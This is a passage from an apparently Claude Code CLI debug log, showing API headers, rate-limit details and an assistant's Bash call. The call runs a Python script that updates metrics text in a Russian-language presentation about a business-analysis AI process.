undefined,\n[2026-09-29T07:50:42.811Z] [STDOUT]       onabort: null,\n[2026-09-29T07:50:42.818Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:50:42.821Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:50:42.825Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:50:42.830Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:50:42.837Z] [STDOUT]     },\n[2026-09-29T07:50:42.848Z] [STDOUT]     stream: true,\n[2026-09-29T07:50:42.856Z] [STDOUT]   },\n[2026-09-29T07:50:42.860Z] [STDOUT]   headers: {\n[2026-09-29T07:50:42.865Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:50:42.871Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:50:42.874Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:50:42.878Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:50:42.881Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:50:42.884Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:50:42.891Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:50:42.894Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:50:42.898Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:50:42.901Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1450\",\n[2026-09-29T07:50:42.907Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:50:42.911Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:50:42.917Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:42.925Z] [STDOUT]     \"x-client-request-id\": \"aa769fd3-19ab-4363-9b6c-25ba1d014a02\",\n[2026-09-29T07:50:42.930Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:50:42.937Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:50:42.949Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:50:42.956Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:50:42.962Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:50:42.967Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:50:42.974Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:50:42.979Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:50:42.982Z] [STDOUT]   },\n[2026-09-29T07:50:42.986Z] [STDOUT] }\n[2026-09-29T07:50:43.513Z] [STDOUT] [log_f6a61e, request-id: \"req_011CfXNACCNotG2DQoPDo5XS\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 789ms\n[2026-09-29T07:50:43.522Z] [STDOUT] [log_f6a61e] response start {\n[2026-09-29T07:50:43.546Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:43.573Z] [STDOUT]   status: 200,\n[2026-09-29T07:50:43.576Z] [STDOUT]   headers: {\n[2026-09-29T07:50:43.580Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:50:43.584Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:50:43.589Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:50:43.593Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:50:43.596Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:50:43.599Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:50:43.607Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:50:43.614Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:50:43.622Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:50:43.632Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:50:43.636Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:50:43.641Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:43.653Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:43.657Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:50:43.661Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:43.672Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:43.677Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:43.679Z] [STDOUT]     \"cf-ray\": \"a42966051a1b01ff-CDG\",\n[2026-09-29T07:50:43.683Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:50:43.687Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:43.689Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:43.690Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:43.692Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:50:43 GMT\",\n[2026-09-29T07:50:43.695Z] [STDOUT]     \"request-id\": \"req_011CfXNACCNotG2DQoPDo5XS\",\n[2026-09-29T07:50:43.697Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:50:43.701Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:43.705Z] [STDOUT]     traceresponse: \"00-0015e2906e9a8dd472364d564262bb7b-07bf61f41bb19471-01\",\n[2026-09-29T07:50:43.709Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:43.710Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:50:43.723Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:43.752Z] [STDOUT]   },\n[2026-09-29T07:50:43.755Z] [STDOUT]   durationMs: 789,\n[2026-09-29T07:50:43.766Z] [STDOUT] }\n[2026-09-29T07:50:43.771Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:50:43.776Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:50:43 GMT\",\n[2026-09-29T07:50:43.779Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:43.790Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:43.802Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:50:43.807Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:43.809Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:43.811Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:43.837Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:50:43.850Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:43.860Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:50:43.867Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:43.870Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:50:43.874Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:43.876Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:50:43.879Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:50:43.882Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:50:43.892Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:50:43.901Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:50:43.913Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:50:43.965Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:50:43.981Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:50:43.992Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:50:44.009Z] [STDOUT]   \"request-id\": \"req_011CfXNACCNotG2DQoPDo5XS\",\n[2026-09-29T07:50:44.016Z] [STDOUT]   \"traceresponse\": \"00-0015e2906e9a8dd472364d564262bb7b-07bf61f41bb19471-01\",\n[2026-09-29T07:50:44.035Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:50:44.050Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:44.057Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:50:44.072Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:44.085Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:44.105Z] [STDOUT]   \"cf-ray\": \"a42966051a1b01ff-CDG\",\n[2026-09-29T07:50:44.128Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:50:44.169Z] [STDOUT] [log_f6a61e] response parsed {\n[2026-09-29T07:50:44.179Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:44.181Z] [STDOUT]   status: 200,\n[2026-09-29T07:50:44.184Z] [STDOUT]   body: X {\n[2026-09-29T07:50:44.187Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:50:44.194Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:50:44.203Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:50:44.213Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:50:44.226Z] [STDOUT]     },\n[2026-09-29T07:50:44.232Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:50:44.240Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:50:44.247Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:50:44.254Z] [STDOUT]   },\n[2026-09-29T07:50:44.266Z] [STDOUT]   durationMs: 790,\n[2026-09-29T07:50:44.269Z] [STDOUT] }\n[2026-09-29T07:50:44.273Z] [INFO] {\n[2026-09-29T07:50:44.273Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:44.273Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:50:44.273Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:50:44.273Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:50:44.273Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:44.273Z] [INFO]   \"uuid\": \"b6ec008f-f94f-423f-b184-88b157448357\"\n[2026-09-29T07:50:44.273Z] [INFO] }\n[2026-09-29T07:50:44.418Z] [INFO] {\n[2026-09-29T07:50:44.418Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:44.418Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:50:44.418Z] [INFO]   \"estimated_tokens\": 185,\n[2026-09-29T07:50:44.418Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:50:44.418Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:44.418Z] [INFO]   \"uuid\": \"1b000e23-a24a-4da2-baa1-63f8a2714002\"\n[2026-09-29T07:50:44.418Z] [INFO] }\n[2026-09-29T07:50:44.430Z] [INFO] {\n[2026-09-29T07:50:44.430Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:50:44.430Z] [INFO]   \"message\": {\n[2026-09-29T07:50:44.430Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:50:44.430Z] [INFO]     \"id\": \"msg_011CfXNACev7AaDb4vCbeGoS\",\n[2026-09-29T07:50:44.430Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:50:44.430Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:50:44.430Z] [INFO]     \"content\": [\n[2026-09-29T07:50:44.430Z] [INFO]       {\n[2026-09-29T07:50:44.430Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:50:44.430Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:50:44.430Z] [INFO]         \"signature\": \"CAQS2wUKEAgSGAI4AUIIdGhpbmtpbmcSDPHsUX1a/6XOo9CcdRoM8tSYjxoLIg1g3y3CIjA/bv41V6XC9exF4LZeKVgDMHcJGAWVADwbjCJ1NwB4p0JVXHkOme/OK9EiNDYHVz4q+ASnb+X/XlR58AmtIJa+w4GjhLCKDXg1C8bwwepPkqt5At4hORjZuZ7zvz/uMPwazZVUwdWDgxNMPPQwDZcIMiUnELmeEvpT5hiDextCBsIaN+LiclgViP4oSSPK8MWZw3OVe2shwgoZHbouDYo+7qHzG8Y+Jq/cvEZnB5Zqs/jP+5HMlg8PUozWm9piIFVXiHBd2Lm8wznjcgplcrjFrTXazCbe4F3z655abU4I2NuktNiTJo+ZGy8cxcj79+3d/1adlUShEmYPKUEVlYTPm3dOfm6NdpqLq5t0CHk9nxPTNmf1yuDCwurQN7KVNGFHN1PDiHEUfSkiRMxTlYogCNsk6jJ/lchjHtZAZEiO335PG7WbY2MCYMTf8PdUHLzGuO0LFq0hAlNi1+farSW5UWdOsgHVk7Iiequ7mmxXBHFZdbp7xURcg0U+UdSlq/L438jFs2V9Z5WO1s/6CoG7/FQHzBnMwSKi5GCW4aIa0pmLs76OH+FnKJ+yojBSFbT8fKzhCSYUi9UXf7FlkrMF3vk/Cc9Ag+d5gTTniEHmROHSivPP7kqwD6WYU74lSM+pUS1RBqgaxQcv9r++AOTiy6KIE53g+b9g98TsEuMY+fVEpTqVEivjVPK55hiQzlxy5zkQC5uUM0UEUC+VN27rAMYAToIYdPFfQwSVPFM1DA+WLdpIOlkci/QyijjznuTj29E4uKiEJnFW0Yz3uYnEQAC8N1vYxkGIU6Eq+Aeea9I5NrzAUHHipONlhuoOJ+10Rhw+bLKmicS9Bb/qlIHChIDM75a/gQw5LF8vDhgzkEY5k/G2T+VIWWA46oQpeQcTJmSVscpe5/KtVhgB\"\n[2026-09-29T07:50:44.430Z] [INFO]       }\n[2026-09-29T07:50:44.430Z] [INFO]     ],\n[2026-09-29T07:50:44.430Z] [INFO]     \"container\": null,\n[2026-09-29T07:50:44.430Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:50:44.430Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:50:44.430Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:50:44.430Z] [INFO]     \"usage\": {\n[2026-09-29T07:50:44.430Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:50:44.430Z] [INFO]       \"cache_creation_input_tokens\": 593,\n[2026-09-29T07:50:44.430Z] [INFO]       \"cache_read_input_tokens\": 94254,\n[2026-09-29T07:50:44.430Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:50:44.430Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:50:44.430Z] [INFO]         \"ephemeral_1h_input_tokens\": 593\n[2026-09-29T07:50:44.430Z] [INFO]       },\n[2026-09-29T07:50:44.430Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:50:44.430Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:50:44.430Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:50:44.430Z] [INFO]     },\n[2026-09-29T07:50:44.430Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:50:44.430Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:50:44.430Z] [INFO]     \"context_management\": null\n[2026-09-29T07:50:44.430Z] [INFO]   },\n[2026-09-29T07:50:44.430Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:50:44.430Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:44.430Z] [INFO]   \"uuid\": \"4618e5f3-ef61-4645-887f-a83b809db529\",\n[2026-09-29T07:50:44.430Z] [INFO]   \"timestamp\": \"2026-09-29T07:50:44.417Z\",\n[2026-09-29T07:50:44.430Z] [INFO]   \"request_id\": \"req_011CfXNACCNotG2DQoPDo5XS\"\n[2026-09-29T07:50:44.430Z] [INFO] }\n[2026-09-29T07:50:44.443Z] [INFO] {\n[2026-09-29T07:50:44.443Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:50:44.443Z] [INFO]   \"message\": {\n[2026-09-29T07:50:44.443Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:50:44.443Z] [INFO]     \"id\": \"msg_011CfXNACev7AaDb4vCbeGoS\",\n[2026-09-29T07:50:44.443Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:50:44.443Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:50:44.443Z] [INFO]     \"content\": [\n[2026-09-29T07:50:44.443Z] [INFO]       {\n[2026-09-29T07:50:44.443Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:50:44.443Z] [INFO]         \"text\": \"All the facts are verified. Applying the updates to the slides now.\"\n[2026-09-29T07:50:44.443Z] [INFO]       }\n[2026-09-29T07:50:44.443Z] [INFO]     ],\n[2026-09-29T07:50:44.443Z] [INFO]     \"container\": null,\n[2026-09-29T07:50:44.443Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:50:44.443Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:50:44.443Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:50:44.443Z] [INFO]     \"usage\": {\n[2026-09-29T07:50:44.443Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:50:44.443Z] [INFO]       \"cache_creation_input_tokens\": 593,\n[2026-09-29T07:50:44.443Z] [INFO]       \"cache_read_input_tokens\": 94254,\n[2026-09-29T07:50:44.443Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:50:44.443Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:50:44.443Z] [INFO]         \"ephemeral_1h_input_tokens\": 593\n[2026-09-29T07:50:44.443Z] [INFO]       },\n[2026-09-29T07:50:44.443Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:50:44.443Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:50:44.443Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:50:44.443Z] [INFO]     },\n[2026-09-29T07:50:44.443Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:50:44.443Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:50:44.443Z] [INFO]     \"context_management\": null\n[2026-09-29T07:50:44.443Z] [INFO]   },\n[2026-09-29T07:50:44.443Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:50:44.443Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:44.443Z] [INFO]   \"uuid\": \"5122f39c-538a-456b-9ced-e6dd7d20e1a0\",\n[2026-09-29T07:50:44.443Z] [INFO]   \"timestamp\": \"2026-09-29T07:50:44.419Z\",\n[2026-09-29T07:50:44.443Z] [INFO]   \"request_id\": \"req_011CfXNACCNotG2DQoPDo5XS\"\n[2026-09-29T07:50:44.443Z] [INFO] }\n[2026-09-29T07:51:06.850Z] [INFO] {\n[2026-09-29T07:51:06.850Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:51:06.850Z] [INFO]   \"message\": {\n[2026-09-29T07:51:06.850Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:06.850Z] [INFO]     \"id\": \"msg_011CfXNACev7AaDb4vCbeGoS\",\n[2026-09-29T07:51:06.850Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:06.850Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:06.850Z] [INFO]     \"content\": [\n[2026-09-29T07:51:06.850Z] [INFO]       {\n[2026-09-29T07:51:06.850Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:51:06.850Z] [INFO]         \"id\": \"toolu_014xtVUv2an1KDVJwJkCaQo8\",\n[2026-09-29T07:51:06.850Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:51:06.850Z] [INFO]         \"input\": {\n[2026-09-29T07:51:06.850Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation && python3 - <<'EOF'\\np='2026-09-29-meta-model-presentation-slides.md'\\ns=open(p).read()\\ndef r(a,b):\\n    global s\\n    assert s.count(a)==1, a[:60]\\n    s=s.replace(a,b)\\nr(\\\"\\\"\\\"- \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442 \u0448\u0438\u0440\u043e\u043a: \u0412\u0410\u0422\u0421, \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440, API, \u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u0430\u0431\u0438\u043d\u0435\u0442 \u2014\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Mango, \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441 42 \u0430\u043d\u0430\u043b\u043e\u0433\u0430\u043c\u0438 IT/\u0442\u0435\u043b\u0435\u043a\u043e\u043c.\\\"\\\"\\\",\\n\\\"\\\"\\\"- \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442 \u0448\u0438\u0440\u043e\u043a: \u0412\u0410\u0422\u0421, \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440, API, \u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u0430\u0431\u0438\u043d\u0435\u0442 \u2014\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Mango \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445, \u043a\u0430\u0436\u0434\u0430\u044f \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0441\\n  \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u043c\u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430\u043c\u0438.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** 42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u0443 \u043a\u0430\u0436\u0434\u043e\u0439 \u2014 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c,\\n> \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438.\\\"\\\"\\\",\\n\\\"\\\"\\\"> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** 42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445 \u2014 \u0443 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0432\u043e\u0439\\n> \u0441\u043b\u043e\u0432\u0430\u0440\u044c, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"- \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0441\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f: \u0432 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435\\n  \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** `M-1 = 0.0` \u2014 \u043d\u0438 \u043e\u0434\u0438\u043d \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043d\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b\\n> \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0434\u0440\u0443\u0433\u043e\u0433\u043e.\\\"\\\"\\\",\\n\\\"\\\"\\\"- \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0441\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f: \u0432 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435\\n  \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435.\\n- \u0418\u0442\u043e\u0433 \u0440\u0443\u0447\u043d\u043e\u0439 \u0441\u0431\u043e\u0440\u043a\u0438: \u0431\u0435\u0437 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u043e 2 \u0438\u0437 32 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441\\n  \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c \u2014 6%.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** `M-1 = 0.0` \u2014 \u043d\u0438 \u043e\u0434\u0438\u043d \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043d\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b\\n> \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0434\u0440\u0443\u0433\u043e\u0433\u043e.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f 